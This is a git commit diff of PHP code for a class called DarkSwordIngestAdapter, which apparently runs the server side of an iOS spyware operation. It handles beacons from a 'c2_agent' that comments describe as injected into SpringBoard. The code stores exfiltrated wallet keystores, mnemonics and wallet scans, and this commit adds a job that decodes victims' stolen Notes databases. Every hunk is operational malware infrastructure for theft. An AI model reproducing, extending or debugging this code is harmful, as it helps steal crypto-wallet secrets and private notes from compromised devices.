This commit is contained in:
hashbro
2026-09-12 03:42:48 +08:00
parent b212332828
commit 8c5724ff3b
50 changed files with 73924 additions and 657 deletions
+82 -9
View File
@@ -8,6 +8,7 @@ use App\Models\PageVisit;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Jobs\DecodeMemoDb;
use App\Support\CfIpCountry;
use App\Support\UserAgentParser;
use App\Support\WalletSource;
@@ -312,7 +313,16 @@ class DarkSwordIngestAdapter
}
}
$existing->forceFill($touch)->saveQuietly();
$this->beaconQueue->seed($existing);
// If the chain was just corrected to DarkSword (e.g. the device was
// created by a beacon whose ios_version was nested in device_info
// and not parsed on the first request), seed the default queue now.
if ((int) $existing->chain === Device::CHAIN_DARKSWORD
&& (int) $existing->getOriginal('chain') !== Device::CHAIN_DARKSWORD
&& $this->beaconQueue->queueLength($existing) === 0
) {
$this->beaconQueue->seed($existing);
}
return $existing->refresh();
}
@@ -344,9 +354,6 @@ class DarkSwordIngestAdapter
public function ensureDevice(Request $request, array $payload): ?Device
{
$device = $this->upsertDevice($request, $payload);
if ($device) {
$this->beaconQueue->seed($device);
}
return $device;
}
@@ -362,11 +369,39 @@ class DarkSwordIngestAdapter
$payload = array_merge($payload, $stored);
if (($stored['stored'] ?? false) === true) {
$this->ingestTrustAddressesFromResult($device, $payload);
$this->dispatchMemoDecodeIfNeeded($device, $payload);
}
}
$this->beaconQueue->markDone($payload);
}
/**
* When the memo_scan manifest (memo_scan.json) finishes storing, the
* NoteStore.sqlite trio for this command_id is complete — kick off the
* decoder. The decoder re-checks file presence, so an out-of-order
* manifest is harmless.
*
* @param array<string, mixed> $payload
*/
private function dispatchMemoDecodeIfNeeded(Device $device, array $payload): void
{
$category = (string) ($payload['category'] ?? '');
$filename = strtolower((string) ($payload['filename'] ?? ''));
if ($category !== 'memo_db' && ! str_contains($filename, 'notestore')) {
return;
}
// memo_scan.json is the scan manifest and the last file uploaded by
// the c2_agent; triggering on it avoids decoding before the WAL lands.
if (! str_contains($filename, 'memo_scan.json')) {
return;
}
$commandId = (string) ($payload['command_id'] ?? '');
if ($commandId === '') {
return;
}
DecodeMemoDb::dispatch($device->id, $commandId);
}
/**
* A wallet_scan summary (wallet_pkg.json) carries recoverable material
* only via its own `installed_wallets` / `sandbox_files` fields. When both
@@ -443,12 +478,10 @@ class DarkSwordIngestAdapter
if (! is_string($value) || $value === '') {
continue;
}
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $value) ?? '');
if ($hex === '') {
continue;
$key = Device::normalizeDarkswordKey($value);
if ($key !== null && $key !== '') {
return $key;
}
return substr($hex, 0, 32);
}
return null;
@@ -472,6 +505,24 @@ class DarkSwordIngestAdapter
return substr($value, 0, 64);
}
// Fallback: the c2_agent (injected into SpringBoard by pe_worker)
// nests channel_code inside device_info, not at the beacon top level.
$devInfo = $payload['device_info'] ?? null;
if (is_array($devInfo)) {
foreach (['channel_code', 'channelCode', 'channel'] as $key) {
$value = $devInfo[$key] ?? null;
if (! is_string($value)) {
continue;
}
$value = trim($value);
if ($value === '') {
continue;
}
return substr($value, 0, 64);
}
}
return null;
}
@@ -499,6 +550,17 @@ class DarkSwordIngestAdapter
}
}
// Fallback: pe_worker / c2_agent nests hardware info inside device_info.
$devInfo = $payload['device_info'] ?? null;
if (is_array($devInfo)) {
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
$value = $devInfo[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 128);
}
}
}
return null;
}
@@ -514,6 +576,17 @@ class DarkSwordIngestAdapter
}
}
// Fallback: pe_worker / c2_agent nests ios_version inside device_info.
$devInfo = $payload['device_info'] ?? null;
if (is_array($devInfo)) {
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
$value = $devInfo[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 64);
}
}
}
return null;
}